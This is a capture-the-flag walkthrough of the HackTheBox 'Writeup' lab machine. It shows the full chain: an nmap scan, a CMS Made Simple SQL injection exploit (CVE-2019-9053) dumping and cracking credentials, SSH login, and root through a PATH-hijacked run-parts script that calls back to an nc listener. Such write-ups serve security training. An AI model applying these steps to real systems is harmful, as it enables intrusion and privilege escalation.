

HackTheBox - WriteUp

Walkthrough

By

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hackthebox.eu/home/users/profile/362067 && tryhackme.com/p/iLinxz

1. NMAP Scan

```
Nmap scan report for 10.10.10.138
Host is up (0.015s latency).
Not shown: 998 filtered ports
       STATE SERVICE VERSION
PORT
                       OpenSSH 7.4pl Debian 10+deb9u6 (protocol 2.0)
22/tcp open ssh
  ssh-hostkey:
    2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
    256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open http
                      Apache httpd 2.4.25 ((Debian))
 http-robots.txt: 1 disallowed entry
  /writeup/
 http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel
```

Our NMAP scan shows that only two ports are open:

- 1. Port 22 running SSH
- 2. Port 80 running HTTP

Great, what can we do?

Well, let us visit the website and see what lies within. Not much else to do other than that.

```
8888""""
 888888888888888888888888888888888
8888
8888 HTB NOTES
 8888888888888888888888888888888888
 8888
dP:;88( )888888888888888
```

I am still searching through my backups so there is nothing here yet. I am preparing go-live of my own www.hackthebox.eu write-up page soon. Stay tuned!

(c) by Normand Veilleux

Not much to say but it is important to note that the DoS protection software is going to be a bit of a problem.

We will not be able to run gobuster without getting our IP blacklisted for some time. Looks like we are on our own.

Let's visit robots.txt.

/robots.txt

Disallow access to the blog until content is finished.

User-agent: *

Disallow: /writeup/

We get some breadcrumbs. /writeup/ huh?

Let's dive in.

writeup

- Home Page ypuffy blue writeup
- Home

After many month of furking around on HTB I also decided to start writing about the boxes I hacked. In the upcoming days, weeks and month you will find more and more content here as I am about to convert my famous incomplete

am still searching for someone to provide or make a cool theme. If you are interested, please contact me on NetSec Focus Mattermost. Thanks

It's just a simple webserver, really. We have a bit of a 'hint' on the down low of the page.

Pages are hand-crafted with vim. NOT.

Is the source any more valuable?

```
5 <base href="http://10.10.10.138/writeup/" />
6 <meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." />
7 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
```

It appears so. Looks like the webserver runs CMS Made Simple. Looking at the Copyright date range, I can safely assume that the last update used for this CMS version was in 2019.

A quick google search of 'cms made simple 2019 exploit' got us a quick answer.

```
www.exploit-db.com > exploits *
```

```
CMS Made Simple < 2.2.10 - SQL Injection - Exploit Database
```

2 Apr 2019 — CMS Made Simple < 2.2.10 - SQL Injection. CVE-2019-9053 . webapps exploit for PHP platform.

After a bit of debugging around, I got the exploit to work and ran it. Thus, revealing some information.

```
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
```

I pasted the hashed password into md5hashing.net/hash/md5 and got it back as:

5a599ef579066807raykayjay9

But the bits in the beginning are just the salt that we can get rid of.

We have our first set of credentials:

jkr:raykayjay9

Time for us to SSH in!

```
iLinxzmkeli:~/Desktop/Memos/WriteUp$ ssh jkr@10.10.10.138
jkr@10.10.10.138's password:
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Nov 2 14:01:27 2020 from 10.10.14.12
jkr@writeup:~$
```

[Hacker Voice] I'm in!

Great. Now onto root...

I ran an instance of linpeas on the machine and nothing too fruitful came up. It's time for pspy.

I ran pspy64 on the machine and let it run for a while. At one point, I wanted to check if anything happens in the background when I exit my ssh session and when I log back in.

When SSHing in, the environment path is set to:

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/bin

And then, the 'run-parts' binary is running without an absolute path.

```
jkr@writeup:~$ which run-parts
/bin/run-parts
jkr@writeup:~$
```

The /usr/local/ directory writable by users in the 'Staff' group.

```
jkr@writeup:~$ ls -la /usr/local/
total 68
drwxrwsr-x 10 root staff
                          4096 Nov 2 13:40 .
drwxr-xr-x 10 root root
                          4096 Apr 19
                                        2019
drwx-wsr-x 2 root staff 20480 Nov 2 13:57 bin
drwxrwsr-x
           2 root staff
                          4096 Apr 19
                                        2019 etc
drwxrwsr-x 2 root staff
                          4096 Apr 19
                                        2019 games
drwxrwsr-x 2 root staff
                          4096 Apr 19
                                        2019 include
           4 root staff
                          4096 Apr 24
                                        2019 lib
drwxrwsr-x
lrwxrwxrwx 1 root staff
                              9 Apr 19
                                      2019 man \rightarrow share/man
                           212 Nov
            1 jkr staff
                                     2 13:27 run-parts
-rwxrwxrwx
            2 root staff 12288 Nov
                                     2 13:53 sbin
drwx-wsr-x
            7 root staff
                          4096 Apr 19
                                        2019 share
drwxrwsr-x
            2 root staff
                          4096 Apr 19
                                        2019 src
drwxrwsr-x
ikr@writeup:∼$
```

```
jkr@writeup:~$ id
uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)
jkr@writeup:~$ [
[0] 0:sudo- 1:ssh* "kali" 14:48 02-Nov-
```

In which we are.

AND because /usr/local/ is before /bin/, that means we can write an executable script called 'run-parts', ssh back in and get a root shell.

#Have_your_listener_ready

```
iLinxz@kali:~/Desktop/Memos/WriteUp$ nc -lvnp 1337
listening on [any] 1337 ...
jkr@writeup:/usr/local/bin$ nano run-parts
jkr@writeup:/usr/local/bin$ chmod 777 run-parts
jkr@writeup:/usr/local/bin$
```

Exit the SSH session and log back in and here it is, the root shell.

```
iLinxzmkeli:~/Desktop/Memos/WriteUp$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.138] 58580
bash: cannot set terminal process group (5688): Inappropriate ioctl for device
bash: no job control in this shell
root@writeup:/#
```